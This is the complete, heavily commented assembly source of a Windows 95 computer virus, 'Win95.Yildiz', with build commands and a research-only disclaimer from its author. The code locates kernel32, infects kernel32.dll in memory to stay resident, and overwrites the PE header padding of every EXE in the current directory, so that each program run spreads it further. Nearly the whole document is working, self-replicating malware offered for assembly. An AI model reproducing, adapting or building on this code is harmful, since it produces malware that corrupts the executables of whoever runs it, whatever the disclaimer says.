; *************************************************************************
; ********************                                 ********************
; ********************           Win95.Yildiz          ********************
; ********************                by               ********************
; ********************            Black Jack           ********************
; ********************                                 ********************
; *************************************************************************

comment ~

NAME: Win95.Yildiz
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack
TYPE: Win9x direct acting/global ring3 resident PE header cavity virus
SIZE: 323 bytes (but of course infected files won't increase in size)

DESCRIPTION: When an infected file is run, the virus takes control. It then
             tries to find the kernel32 base address by a simple algorithm
             which should make it compatible with Win9X and WinME (although I
             haven't tested it with the second one). After that it gets the
             undocumented Win9X API VxDCall0 and uses it to call int 21h. The
             VxDCall0 API is the very first exported API in Win9X; I don't
             know which API is first in WinNT, that's why unpredictable
             results may occur when the virus runs in that OS (I haven't tried
             it out, but of course the virus can't work in NT).
             Then it goes TSR (read more about this a bit later), and infects
             all PE EXE files in the current directory by overwriting the
             unused padding bytes in the PE header with the virus body.
             The memory residency consist in infecting kernel32.dll in memory.
             To do so, it creates a temporary file called "Yildiz." and writes
             the first 4KB of kernel32.dll there. Then this file is infected
             like any other PE file. And finally the content of the infected
             temp file is read back into kernel32 memory. Yep, you have read
             right, by using the int21h with VxDCall0 you can read from a file
             into read-only memory! (This trick was discovered by Murkry/IkX,
             read more about it in the comments to his Darkside virus source,
             published in Xine#3).
             As I have already said, the kernel32 is infected in memory just
             like any other file, this means the entry point is set to the
             virus, no APIs are hooked. As you should know, the entry point
             of a DLL is a init routine that is called whenever the DLL is
             loaded by a program. And since kernel32 is imported by all
             programs, this means for us that whenever a program is run (and
             kernel32 is mapped into the program's address space), our virus
             will infect all PE EXE files in the directory of the program.

ASSEMBLE WITH: 
                tasm32 /mx /m yildiz.asm
                tlink32 /Tpe /aa yildiz.obj,,, import32.lib

                there's no need for PEWRSEC or a similar tool, because the
                virus code is supposed to run in read-only memory anyways.

DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.
            Therefore, this source was only written for research and
            education. Please do not spread it. The author can't be hold
            responsible for what you decide to do with this source.

~
; ===========================================================================


virus_size  EQU  (virus_end - virus_start)

Extrn MessageBoxA:Proc                  ; for first generation only
Extrn ExitProcess:Proc

.386p
.model flat
.data
        dd 0                            ; dummy data, you know...

.code
virus_start:
        pushad                          ; save all registers

        xchg edi, eax                   ; put delta offset to EDI (EAX=start
                                        ; offset of program by default)

        mov eax, [esp+8*4]              ; EAX=some address inside kernel32

        sub esp, size stack_frame       ; reserve room on stack
        mov esi, esp                    ; set ESI to our data on the stack

search_kernel32:
        xor ax,ax                       ; we assume the least significant
                                        ; word of the kernel32 base is zero
        cmp word ptr [eax], "ZM"        ; is there a MZ header ?
        JE found_kernel32               ; if yes, we found the correct
                                        ; kernel32 base address
        dec eax                         ; 0BFF80000->0BFF7FFFF, and then the
                                        ; least significant word is zeroed
        JMP search_kernel32             ; check next possible kernel32 base

tmp_filename    db "Yildiz", 0
filespec        db "*.EXE", 0


found_kernel32:
        mov ebx, [eax+3Ch]              ; EBX=kernel32 PE header RVA
        add ebx, eax                    ; EBX=offset of kernel32 PE header

        mov ebx, [ebx+120]              ; EBX=export table RVA
        mov ebx, [ebx+eax+1Ch]          ; EBX=Address array of API RVAs
        mov ebx, [ebx+eax]              ; get the first API RVA: VxDCall0
        add ebx, eax                    ; EBX=Offset VxDCall0 API
        mov [esi.VxDCall0], ebx         ; save it
        lea ebp, [edi+int21h-virus_start] ; EBP=offset of our int21h procedure
                                        ; for optimisation reasons, the
                                        ; CALL EBP instruction is just 2 bytes


; ----- GO TSR --------------------------------------------------------------

        lea edx, [edi+tmp_filename-virus_start] ; EDX=pointer to tmp filename
        push edx                        ; save it on stack

        push eax                        ; save kernel32 base address on stack

        mov ah, 3Ch                     ; create temp file
        xor ecx, ecx                    ; no attributes
        call ebp                        ; call our int 21h procedure

        xchg ebx, eax                   ; filehandle to EBX, where it belongs

        pop edx                         ; EDX=kernel32 base address
        push edx                        ; save it again

        call write_file                 ; write start of kernel32 to temp file

        call infect                     ; infect the temp file

        pop edx                         ; EDX=kernel32 base address

        mov ah, 3Fh                     ; read infected kernel32 fileststart
        call read_write                 ; into kernel32 memory

        mov ah, 3Eh                     ; close temp file
        call ebp                        ; call our int 21h procedure

        pop edx                         ; EDX=pointer to temp filename
        mov ah, 41h                     ; delete temp file
        call ebp                        ; call our int 21h procedure


; ----- INFECT ALL FILES IN CURRENT DIR -------------------------------------

        mov ah, 2Fh                     ; get DTA
        call ebp                        ; call our int 21h procedure

        push es                         ; save DTA address to stack
        push ebx

        push ds                         ; ES=DS (standart data segment)
        pop es

        mov ah, 1Ah                     ; set DTA to our data area
        lea edx, [esi.dta]              ; DS:EDX=new DTA adress
        call ebp                        ; call our int 21h procedure

        mov ah, 4Eh                     ; find first file
        xor ecx, ecx                    ; only files with standart attributes
        lea edx, [edi+(filespec-virus_start)]  ; EDX=offset of filespec

findfile_loop:
        call ebp                        ; call our int 21h procedure
        JC all_done                     ; no more files found?

        mov ax, 3D02h                   ; open victim file for read and write
        lea edx, [esi.dta+1Eh]          ; DS:EDX=pointer to filename in DTA
        call ebp                        ; call our int 21h procedure

        xchg ebx, eax                   ; handle to EBX, where it belongs

        call infect                     ; infect the file

        mov ah, 3Eh                     ; close the victim file
        call ebp                        ; call our int 21h procedure

search_on:
        mov ah, 4Fh                     ; find next file
        JMP findfile_loop


; ----- RESTORE HOST --------------------------------------------------------

all_done:
        pop edx                         ; restore old DTA offset in DS:EDX
        pop ds
        mov ah, 1Ah                     ; reset DTA to old address
        call ebp                        ; call our int 21h procedure

        push es                         ; DS=ES (standart data segment)
        pop ds

        add esp, size stack_frame       ; remove our data buffer from stack

        popad                           ; restore all registers

        db 05h                          ; add eax, imm32
entry_RVA_difference dd (host-virus_start)  ; difference between host and
                                            ; virus entrypoint (EAX is virus
                                            ; entrypoint offset by default)
        JMP eax                         ; jump to host entrypoint

; ----- END MAIN PART OF THE VIRUS CODE -------------------------------------

exit_infect:
        pop edi                         ; restore EDI (delta offset)
        RET                             ; return to caller

; ----- INFECT AN OPENED FILE (HANDLE IN BX) --------------------------------

infect:
        push edi                        ; save EDI (delta offset)

        mov edx, esi                    ; EDX=read/write buffer offset
        mov ah, 3Fh                     ; read start of file
        call read_write

        cmp word ptr [esi], "ZM"        ; is it an exe file ?
        JNE exit_infect                 ; cancel infection if not

        mov ecx, [esi+3Ch]              ; ECX=new header RVA
        cmp ecx, 3*1024                 ; check if DOS stub is small enough
                                        ; so that all the PE header is in
                                        ; our buffer
        JA exit_infect                  ; if not, cancel infection

        lea edi, [esi+ecx]              ; EDI=PE header offset in memory
        cmp word ptr [edi], "EP"        ; is it an PE file ?
                                        ; (I know that the PE marker is
                                        ; actually a dword, but by only
                                        ; checking one word we save a byte
                                        ; of virus code)
        JNE exit_infect                 ; cancel infection if not

        cmp dword ptr [edi+28h], 4096   ; check if entrypoint RVA is in the
                                        ; first 4 KB of the file
        JB exit_infect                  ; if yes, the file must be already
                                        ; infected, cancel infection

        add ecx, 24                     ; add size of FileHeader
        movzx eax, word ptr [edi+14h]   ; EAX=size of Optional header
        add ecx, eax                    ; add it to ECX
        movzx eax, word ptr [edi+6]     ; EAX=NumberOfSections
        imul eax, eax, 40               ; get size of section headers to EAX
        add ecx, eax                    ; add it to ECX, now it points to the
                                        ; end of the used part of the PE
                                        ; header, where the virus will be.

        mov edx, ecx                    ; EDX=virus RVA
        xchg dword ptr [edi+28h], edx   ; set it as new entrypoint RVA
        sub edx, ecx                    ; EDX=difference between old and new
                                        ; entrypoint RVA

        mov eax, [edi+54h]              ; EAX=SizeOfHeaders (aligned to
                                        ; FileAlign)

        lea edi, [esi+ecx]              ; EDI=virus offset in buffer

        sub eax, ecx                    ; EAX=free room for us to use
        mov cx, virus_size              ; ECX=size of virus (the most
                                        ; significant word of ECX should be 0)
        cmp eax, ecx                    ; enough room for the virus ?
        JL exit_infect                  ; cancel infection if not

        pop eax                         ; EAX=delta offset
        push eax                        ; save it again to stack
        xchg esi, eax                   ; ESI=delta offset, EAX=data buffer

        cld                             ; clear direction flag
        rep movsb                       ; move virus body into buffer

        xchg esi, eax                   ; ESI=pointer to our data on stack

        mov [edi-(virus_end-entry_RVA_difference)], edx  ; store difference
                                        ; between old and new entrypoint

        pop edi                         ; restore EDI (delta offset)

        mov edx, esi                    ; EDX=offset of read/write buffer

                                        ; now write modified start of file,
                                        ; then return to caller

write_file:
        mov ah, 40h                     ; write to file

read_write:
        xor ecx, ecx                    ; ECX=0
        pushad                          ; save all registers

        xor eax, eax                    ; EAX=4200h (set filepointer from
        mov ah, 42h                     ; start of the file
        cdq                             ; CX:DX=0 (new filepointer)
        call ebp                        ; call our int 21h procedure

        popad                           ; restore all registers

        mov ch, 10h                     ; ECX=4096 (size of read/write buffer)

                                        ; now execute int 21h and return

int21h:                                 ; protected mode int21
        push ecx                        ; push parameters
        push eax
        push 2A0010h                    ; VWIN32_Int21Dispatch function
        call ss:[esi.VxDCall0]          ; call VxDCall0 API
        ret

virus_end:

; This is our data that will be stored on the stack:

stack_frame     struc
buffer          db 4096 dup(?)
dta             db 43 dup(?)
VxDCall0        dd ?
stack_frame     ends


host:
        push 0
        push offset caption
        push offset message
        push 0
        call MessageBoxA

        push 0
        call ExitProcess

caption db "Win95.Yildiz Virus (c) 2000 Black Jack", 0
message db "first generation dropper", 0

end virus_start